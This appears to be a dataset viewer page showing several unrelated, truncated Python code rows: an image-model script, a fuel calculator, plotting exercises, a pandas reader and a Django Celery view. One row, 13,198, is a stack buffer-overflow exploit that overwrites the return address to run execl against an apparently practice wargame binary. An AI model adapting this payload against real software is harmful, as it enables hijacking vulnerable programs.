13,194 | 93148e7999a00210532c973101191d9a82816508 | import matplotlib
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
import numpy as np
import os, json
import torch
import torch.nn as nn
import torch.nn.functional as F
from torchvision import models, transforms
from torch.autograd import Variable
from PIL import Image
from models import get_ne... |
13,195 | 29cf8be26357c806e49d5c73116d3fd956dfe522 | import math
def mass_fuel_calculator(input):
return math.floor(input / 3) - 2
# Main method
if __name__ == '__main__':
filepath = "inputList"
totalFuel = 0
with open(filepath) as fp:
for line in fp:
totalFuel += mass_fuel_calculator(int(line))
print(int(totalFuel)) |
13,196 | 5b586d679e6c5f6aad67f69c1054c35a05b7ddf9 | """
Instructions: Complete each TODO below. The TODO's are put into sections for separate graphs. Each section
can be done with different data if desired, and if the data allows the questin to be answered. Filtering should
be done, if needed. Example data can be found at ./Data/.
License:
Copyright 2021 Doug... |
13,197 | edb87df5e388ce83ebb6cc3b28ba7aad19848707 | import pandas
import numpy
import time
def pull():
return
def main():
start_time = time.time()
excel_data_df_1 = pandas.read_excel('2012.xlsx', sheet_name= 'Sheet1')
excel_data_df_2 = pandas.read_excel('2019.xlsx', sheet_name= 'Sheet1')
print("Welcome to the HCA Healthcare I... |
13,198 | fdcc3e87b79171e59441e65767bd6e26d8ed8885 | import os
from struct import *
target = "/home/dark_stone/cruel"
payload = ""
payload += "A"*260
payload += "\x51\x84\x04\x08" * 7 # ret sled
payload += "\x68\x2d\x83" # execl's address
os.execv(target, [target, payload])
|
13,199 | 606f93fc23759039dcca5b6b328bd43949e5f615 | # from django.shortcuts import render
# Create your views here.
from .tasks import gen_num, gen_letters
from django.http import HttpResponse
from django.views import View
import time
from .models import Poll
from django.contrib.auth.models import User
class TestCelery(View):
def get(self, request):
print(... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.